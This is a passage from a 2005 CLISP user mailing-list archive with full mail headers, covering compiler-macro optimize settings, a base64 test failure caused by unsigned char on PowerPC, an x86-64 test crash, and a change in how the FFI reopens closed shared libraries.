http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Optimalization in compile time Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 9 07:06:01 2005 X-Original-Date: Fri, 9 Dec 2005 16:05:13 +0100 Hello, is this code snippet supposed to work in clisp? (defun test-fn () "" "not optimalised") (define-compiler-macro test-fn () (system::declared-optimize 'speed (if (boundp '*denv*) system::*denv* system::*toplevel-denv*))) (declaim (optimize (speed 0))) (print (test-fn)) (declaim (optimize (speed 3))) (print (test-fn)) (let () (declare (optimize (speed 2))) (print (test-fn))) (print (test-fn)) What I mean by work: print "not optimalised" three times when loaded, print 0 3 2 when compiled and loaded. I can check that it does "work" at the moment, however, it uses private symbols of system and thus, as I understand, may stop working without any notice. Is there any way to have this (or some other way for macros to check their optimize settings) exported and published as interface? As a side note, when I asked similar question on c.l.l., I was pointed to CLTl2 as possible standard mechanism - it defines (http://www.supelec.fr/docs/cltl/clm/node102.html) declaration-information function. Apparently, there is nothing like this at Common Lisp standard, so I am peeking into system package. Regards, Tomas From sds@gnu.org Fri Dec 09 07:46:07 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EkkRg-0002Q7-2K for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 07:46:04 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EkkRc-0007XI-Rx for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 07:46:03 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.127]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jB9FjdOe003298 for ; Fri, 9 Dec 2005 10:45:40 -0500 (EST) To: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <87oe3qpf8s.fsf@zemdatav.stor.no-ip.org> (Magnus Henoch's message of "Fri, 09 Dec 2005 14:33:07 +0100") References: <87oe3qpf8s.fsf@zemdatav.stor.no-ip.org> Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Encoding test fails Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 9 07:47:07 2005 X-Original-Date: Fri, 09 Dec 2005 10:44:40 -0500 > * Magnus Henoch [2005-12-09 14:33:07 +0100]: > > Building clisp from CVS HEAD on NetBSD/powerpc, the build stops with: > > Test failed: > -rw-r--r-- 1 magnus users 406 Dec 9 13:18 encoding.erg > To see which tests failed, type > cat /home/magnus/noarchive/src/clisp-cvs/build-zemdatav/tests/*.erg > gmake: *** [compare] Error 1 > *** Error code 2 > > Stop. > make: stopped in /home/magnus/noarchive/src/clisp-cvs/build-zemdatav > magnus@zemdatav:~/noarchive/src/clisp-cvs$ cat /home/magnus/noarchive/src/clisp-cvs/build-zemdatav/tests/*.erg > Form: (LIST (SYSTEM::CHARSET-RANGE CHARSET:BASE64 #\+ #\+ 2) (SYSTEM::CHARSET-RANGE CHARSET:BASE64 #\+ #\/ 10) (SYSTEM::CHARSET-RANGE CHARSET:BASE64 #\A #\Z 2) (SYSTEM::CHARSET-RANGE CHARSET:BASE64 (CODE-CHAR 0) (CODE-CHAR 10000) 1000)) > CORRECT: ("++" "++//" "AZ" "++/9AZaz") > CLISP : ("++" "+/" "AZ" "") > Differ at position 1: "++//" vs "+/" > CORRECT: ("++//" "AZ" "++/9AZaz") > CLISP : ("+/" "AZ" "") I do not observe this on any platform available to me (cygwin and SF CF). could you please try to debug this? this is _very_ simple C code: static const char table_base64[128] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* -1- 9 */ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 10- 19 */ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 20- 29 */ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /* 30- 39 */ -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, /* 40- 49 */ 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, /* 50- 59 */ -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, /* 60- 69 */ 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, /* 70- 79 */ 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, /* 80- 89 */ 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, /* 90- 99 */ 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, /* 100-109 */ 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, /* 110-119 */ 49, 50, 51, -1, -1, -1, -1, -1 /* 120-127 */ }; global object base64_range (object encoding, uintL start, uintL end, uintL maxintervals) { var uintL count = 0; /* number of intervals already on the STACK */ if (end >= sizeof(table_base64)) end = sizeof(table_base64) - 1; for (;start <= end && count < maxintervals; count++) { while ((start <= end) && (table_base64[start] == -1)) start++; if (start > end) break; pushSTACK(code_char(as_chart(start))); while ((start <= end) && (table_base64[start] != -1)) start++; pushSTACK(code_char(as_chart(start-1))); } return stringof(count << 1); } thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k http://truepeace.org http://www.palestinefacts.org/ http://www.jihadwatch.org/ http://www.iris.org.il Microsoft: announce yesterday, code today, think tomorrow. From sds@gnu.org Fri Dec 09 07:47:29 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EkkT3-0002Zf-0U for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 07:47:29 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EkkT0-0001S8-GG for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 07:47:29 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.127]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jB9Fl5M4003402; Fri, 9 Dec 2005 10:47:06 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20051208130929.GA23116@boole.suse.de> (Werner Fink's message of "Thu, 8 Dec 2005 14:09:29 +0100") References: <20051208130929.GA23116@boole.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Re: Clisp 2.36 for x86-64 crash on `make check-tests' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 9 07:48:07 2005 X-Original-Date: Fri, 09 Dec 2005 10:46:06 -0500 > * Dr. Werner Fink [2005-12-08 14:09:29 +0100]: > > Hi, > > this is the result from a compile for Linux on x86-64 with gcc 4.1.0: > > (LET ((HT (MAKE-HASH-TABLE :TEST 'FASTHASH-EQ))) (DEFSTRUCT HT-TEST-STRUCT A B C) (SETQ X (MAKE-HT-TEST-STRUCT :A 1 :B 2 :C HT)) (SETF (GETHASH HT HT) HT (GETHASH X HT) 12) (SETQ X (READ-FROM-STRING (WITH-STANDARD-IO-SYNTAX (WRITE-TO-STRING X))) HT (HT-TEST-STRUCT-C X)) (SETF (HT-TEST-STRUCT-A X) (! 123) (GETHASH (! 20) HT) (! 21) (GETHASH (! 21) HT) (! 22) (GETHASH (! 22) HT) (! 23)) (GC) (SETF (HT-TEST-STRUCT-B X) (! 124) (GETHASH (! 30) HT) (! 61) (GETHASH (! 41) HT) (! 72) (GETHASH (! 52) HT) (! 83)) (GC) (LIST (EQ (GETHASH HT HT) HT) (GETHASH X HT))) > Exiting on signal 6 > g31:x86_64-suse-linux # ls -l tests/*erg > -rw-r--r-- 1 abuild abuild 0 Dec 8 13:00 tests/hashtable.erg > g31:x86_64-suse-linux # > g31:x86_64-suse-linux # gcc --version > gcc (GCC) 4.1.0 20051129 (prerelease) (SUSE Linux) > Copyright (C) 2005 Free Software Foundation, Inc. > This is free software; see the source for copying conditions. There is NO > warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. > > Signal 6 is SIGABRT on x86-64. The crash is always at the same > point regardless of the choosen optimization or SAFETY level. http://sourceforge.net/tracker/index.php?func=detail&aid=1376646&group_id=1355&atid=101355 -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.savegushkatif.org http://ffii.org/ http://www.memri.org/ http://www.palestinefacts.org/ http://www.honestreporting.com Nostalgia isn't what it used to be. From sds@gnu.org Fri Dec 09 07:59:18 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EkkeQ-0003Rw-Gn for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 07:59:14 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EkkeN-0000CP-Sm for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 07:59:14 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.127]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jB9Fwllm004074; Fri, 9 Dec 2005 10:58:48 -0500 (EST) To: clisp-list@lists.sourceforge.net, Tomas Zellerin Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Tomas Zellerin's message of "Fri, 9 Dec 2005 16:05:13 +0100") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Tomas Zellerin Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Optimalization in compile time Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 9 08:00:10 2005 X-Original-Date: Fri, 09 Dec 2005 10:57:48 -0500 Hi Tomas, > * Tomas Zellerin [2005-12-09 16:05:13 +0100]: > > is this code snippet supposed to work in clisp? > > (defun test-fn () "" "not optimalised") > > (define-compiler-macro test-fn () > (system::declared-optimize 'speed > (if (boundp '*denv*) system::*denv* system::*toplevel-denv*))) > > (declaim (optimize (speed 0))) > (print (test-fn)) > (declaim (optimize (speed 3))) > (print (test-fn)) > (let () > (declare (optimize (speed 2))) > (print (test-fn))) > (print (test-fn)) > > What I mean by work: print "not optimalised" three times when loaded, > print 0 3 2 when compiled and loaded. > > I can check that it does "work" at the moment, however, it uses > private symbols of system and thus, as I understand, may stop working > without any notice. Is there any way to have this (or some other way > for macros to check their optimize settings) exported and published > as interface? I don't think so. > As a side note, when I asked similar question on c.l.l., I was pointed > to CLTl2 as possible standard mechanism - it defines > (http://www.supelec.fr/docs/cltl/clm/node102.html) > declaration-information function. Apparently, there is nothing like > this at Common Lisp standard, so I am peeking into system package. do other implementation export anything like this? -- Sam Steingold (http://www.podval.org/~sds) running w2k http://ffii.org/ http://www.palestinefacts.org/ http://www.honestreporting.com http://www.iris.org.il http://www.mideasttruth.com/ http://truepeace.org If at first you don't suck seed, try and suck another seed. From zellerin@gmail.com Fri Dec 09 08:03:17 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EkkiJ-0003sY-QH for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 08:03:15 -0800 Received: from zproxy.gmail.com ([64.233.162.203]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EkkiI-0002J0-Kf for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 08:03:15 -0800 Received: by zproxy.gmail.com with SMTP id z3so908925nzf for ; Fri, 09 Dec 2005 08:03:13 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=FwXy52xeH6GT5U+y5obrSVXFlVdKJtHskMrsrKbnWaE/rcRfsPaHrXkhEMjTlqst1kmc6iXPki1PRLdnOpDGHNBTp9QJF7iJfEtoFZaez1W9Z8dTIXlE3nCfymHEOT4MRRviioTyKLV5NwQS2qIWZ2vhMbHokEgv7gRXATvXOFw= Received: by 10.36.178.6 with SMTP id a6mr3609450nzf; Fri, 09 Dec 2005 08:03:13 -0800 (PST) Received: by 10.36.222.63 with HTTP; Fri, 9 Dec 2005 08:03:13 -0800 (PST) Message-ID: From: Tomas Zellerin To: clisp-list@lists.sourceforge.net, Tomas Zellerin In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Re: Optimalization in compile time Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 9 08:04:03 2005 X-Original-Date: Fri, 9 Dec 2005 17:03:13 +0100 > > do other implementation export anything like this? > This is all I know (no first-hand experience): http://groups.google.com/group/comp.lang.lisp/msg/a89e1a8b651a570d From sds@gnu.org Fri Dec 09 08:10:08 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ekkox-0004FY-SZ for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 08:10:07 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ekkov-0004MF-MV for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 08:10:07 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.127]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jB9G9gGE004567; Fri, 9 Dec 2005 11:09:42 -0500 (EST) To: clisp-list@lists.sourceforge.net, Tomas Zellerin Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Tomas Zellerin's message of "Fri, 9 Dec 2005 17:03:13 +0100") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Tomas Zellerin Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Optimalization in compile time Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 9 08:11:00 2005 X-Original-Date: Fri, 09 Dec 2005 11:08:43 -0500 > * Tomas Zellerin [2005-12-09 17:03:13 +0100]: > >> >> do other implementation export anything like this? >> > This is all I know (no first-hand experience): > http://groups.google.com/group/comp.lang.lisp/msg/a89e1a8b651a570d What does Allegro export? Do any implementations have the CLtL2 functions? -- Sam Steingold (http://www.podval.org/~sds) running w2k http://ffii.org/ http://www.honestreporting.com http://www.iris.org.il http://www.savegushkatif.org http://www.openvotingconsortium.org/ OK, so you're a Ph.D. Just don't touch anything. From lisp-clisp-list@m.gmane.org Fri Dec 09 09:29:31 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ekm3m-0001QB-T1 for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 09:29:30 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Ekm3l-0002Xs-1j for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 09:29:30 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1Ekm1k-0004Vb-6y for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 18:27:24 +0100 Received: from c83-248-119-147.bredband.comhem.se ([83.248.119.147]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 09 Dec 2005 18:27:24 +0100 Received: from mange by c83-248-119-147.bredband.comhem.se with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 09 Dec 2005 18:27:24 +0100 X-Injected-Via-Gmane: http://gmane.org/ Mail-Followup-To: clisp-list@lists.sourceforge.net To: clisp-list@lists.sourceforge.net From: Magnus Henoch Lines: 26 Message-ID: <87k6eep4jh.fsf@zemdatav.stor.no-ip.org> References: <87oe3qpf8s.fsf@zemdatav.stor.no-ip.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c83-248-119-147.bredband.comhem.se Mail-Copies-To: never User-Agent: Gnus/5.110004 (No Gnus v0.4) Emacs/22.0.50 (berkeley-unix) Cancel-Lock: sha1:+qSoqBr2B7woyDha987FR7QK2DY= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Encoding test fails Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 9 09:30:01 2005 X-Original-Date: Fri, 09 Dec 2005 18:24:18 +0100 Sam Steingold writes: > I do not observe this on any platform available to me (cygwin and SF > CF). > could you please try to debug this? > this is _very_ simple C code: > > static const char table_base64[128] = { [...] > while ((start <= end) && (table_base64[start] != -1)) start++; [...] The comparison to -1 assumes that "char" is "signed char", which is not the case on NetBSD/powerpc.[1] Changing the table to "signed char" fixes the problem; another possible solution is to compile with -fsigned-char. Magnus [1] According to , "char" is unsigned on all PowerPC systems except Darwin (Mac OS X). From sds@gnu.org Fri Dec 09 10:23:40 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EkmuA-0004wS-22 for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 10:23:38 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ekmu5-0004sI-Cv for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 10:23:38 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.127]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jB9IN9FK011625 for ; Fri, 9 Dec 2005 13:23:09 -0500 (EST) To: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <87k6eep4jh.fsf@zemdatav.stor.no-ip.org> (Magnus Henoch's message of "Fri, 09 Dec 2005 18:24:18 +0100") References: <87oe3qpf8s.fsf@zemdatav.stor.no-ip.org> <87k6eep4jh.fsf@zemdatav.stor.no-ip.org> Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Encoding test fails Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 9 10:24:06 2005 X-Original-Date: Fri, 09 Dec 2005 13:22:10 -0500 > * Magnus Henoch [2005-12-09 18:24:18 +0100]: > > Sam Steingold writes: > >> I do not observe this on any platform available to me (cygwin and SF >> CF). >> could you please try to debug this? >> this is _very_ simple C code: >> >> static const char table_base64[128] = { > > [...] > >> while ((start <= end) && (table_base64[start] != -1)) start++; > > [...] > > The comparison to -1 assumes that "char" is "signed char", which is > not the case on NetBSD/powerpc.[1] Changing the table to "signed char" done, thanks! > fixes the problem; another possible solution is to compile with > -fsigned-char. what does -fsigned-char do? google turns out nothing. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.camera.org http://truepeace.org http://ffii.org/ http://www.openvotingconsortium.org/ http://www.palestinefacts.org/ OK, so you're a Ph.D. Just don't touch anything. From Joerg-Cyril.Hoehle@t-systems.com Fri Dec 09 10:28:53 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EkmzF-00057q-Lj for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 10:28:53 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EkmzD-0007Mv-3m for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 10:28:53 -0800 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 9 Dec 2005 19:27:40 +0100 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 9 Dec 2005 19:27:40 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0307461D3E@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] the handling of invalid pointers in the FFI changed in October 20 05 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 9 10:29:05 2005 X-Original-Date: Fri, 9 Dec 2005 19:27:39 +0100 Hi, I just noticed that in October 2005, the CLISP FFI underwent changes which may affect what people know about behaviour of shared libraries with the FFI. CLISP will attempt to resurrect invalid pointers from shared libraries on a "by need" basis. I.e., an attempt to invoke a function from a shared library will try and open it upon encountering an invalid library base pointer. Such pointers, e.g. # may result from - explicitly invalidating a pointer, (e.g. a useful additional step when explicitly closing a library), or - when starting from a .mem image which had shared libraries open. Although useful, this can also be quite dangerous! If you closed a library explicitly, it may be reopened without you noticing it, in case one of its functions gets called. This is quite distinct from the behaviour which I advertised previously: you could close a library explicitly to prevent it from being used inadvertantly, and you'd get an error when trying. The new behaviour (which is not yet documented in impnotes) is a consequence of a move toward later binding of foreign functions: now it can happen such late as when a first function call is made. Also, if you happened to couple the lifetime of some FFI object to the library (via the documented SET-FOREIGN-POINTER function), then suddenly, these objects would become alive again as well. However they are very likely to point to broken storage. This is somewhat scary. The following scenario shows what this looks like, and how the revalidated adresses can be different from the previous ones: > (use-package"FFI") T > (def-call-out compress-bound (:name "compressBound") (:library "libz.so") (:arguments (sourceLen ulong)) (:return-type ulong)) > (setf foo #'compress-bound) # [23]> (setq bar (foreign-address *)) # [24]> (setq barp (foreign-pointer *)) # [25]> (saveinitmem "bar.mem" :verbose t) Speicherabbild als bar.mem abgespeichert. 2587176 ; 645914 > $ clisp -M bar.mem [1]> foo # [2]> bar # [3]> barp # ; obviously the original pointer got fixed in place, instead of creating a new one... ; ... like the Amiga-CLISP FFI once did upon startup. [4]> (funcall foo 0) ; foo can be called despite being invalid! ; the library got reopened. 11 [5]> foo ; note how the address is now different # [6]> bar # [7]> barp # [8]> I believe CLISP could be modified so that revalidation upon funcall still works, yet the old pointer remains dead, but I haven't looked at the code recently. Implementation note: reopening a library may take a little time, as CLISP will try to obtain all addresses from all functions that once were used, instead of just the one being called. Regards, Jorg Hohle. From sds@gnu.org Fri Dec 09 10:56:59 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EknQQ-00070V-Sz for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 10:56:58 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EknQN-00023e-KS for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 10:56:59 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.127]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jB9IuYix013191; Fri, 9 Dec 2005 13:56:35 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0307461D3E@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Fri, 9 Dec 2005 19:27:39 +0100") References: <5F9130612D07074EB0A0CE7E69FD7A0307461D3E@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: the handling of invalid pointers in the FFI changed in October 20 05 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 9 10:57:05 2005 X-Original-Date: Fri, 09 Dec 2005 13:55:34 -0500 > * Hoehle, 